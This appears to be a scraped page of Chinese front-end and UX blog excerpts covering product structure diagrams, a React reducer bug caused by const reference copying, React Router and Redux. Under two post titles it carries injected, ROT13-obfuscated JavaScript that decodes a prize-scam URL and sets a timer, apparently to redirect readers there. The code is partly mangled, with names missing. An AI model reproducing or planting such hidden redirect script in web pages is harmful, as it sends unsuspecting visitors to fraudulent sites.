交互设计5-产品结构图

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
之前总结了用户需求然后建立了卡诺模型将需求进行了优先级分类,然后绘制了功能结构图来进行功能的层次分类进行整理,然后进行了信息结构图,并针对部分功能进行了操作流程图的设计。
产品结构图
对产品频道及子频道、页面以及项目、信息元素的罗列,页面结构的设计,便于后期的原型设计。是一种早期的原型设计图。通过产品结构图,我们可以知道每个页面需要哪些元素、功能,从而为原型图的设计提供参考。

如:产品有哪些频道,频道下面有哪些页面,页面里分哪些栏目,栏目中有哪些元素。

JS const 内存堆栈引发的坑

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
最近在写react,今天遇到了一个问题,由于reducer不能直接操作state,因此在操作之前需要进行拷贝,按照常规的思路将state赋值给一个新const,这个时候坑就来了。

直接这样return(并没有将新的数据放入return中),会发现state改变了,新的数据进来了,这个时候就意识到了拷贝没有成功,操作新的const newList的时候影响了原来state的数据,由于state的数据是不能够直接修改的,因此这样肯定是有问题的,出现这个问题的原因是:

在js中:

基本类型值是存储在栈中的简单数据段,也就是说,他们的值直接存储在变量访问的位置。
堆是存放数据的基于散列算法的数据结构,在javascript中,引用值是存放在堆中的。

所以问题就是直接这样const赋值,指向的是同一个堆中的空间,导致操作新的const的时候旧的也跟着被操作了。

因此 要使用
深拷贝!

看来还是需要打好js的基础啊

React路由

rx online 路由指的是根据url的不同显示不同的内容,然后一个页面每个页面都是一个组件,这个叫做前端组件化 yarn add react-router-dom 使用非常的简单 引入import {BrowserRouter, Route} from ‘rea…

Redux入门

rx online Redux简介 React是一个创建UI接口的视图层框架,在之前的文章中提到过,子组件需要调用父组件的方法来工作,这就造成了组件很多的时候并且组件之间要经常进行传值的话就会非常麻烦并且维护性极低…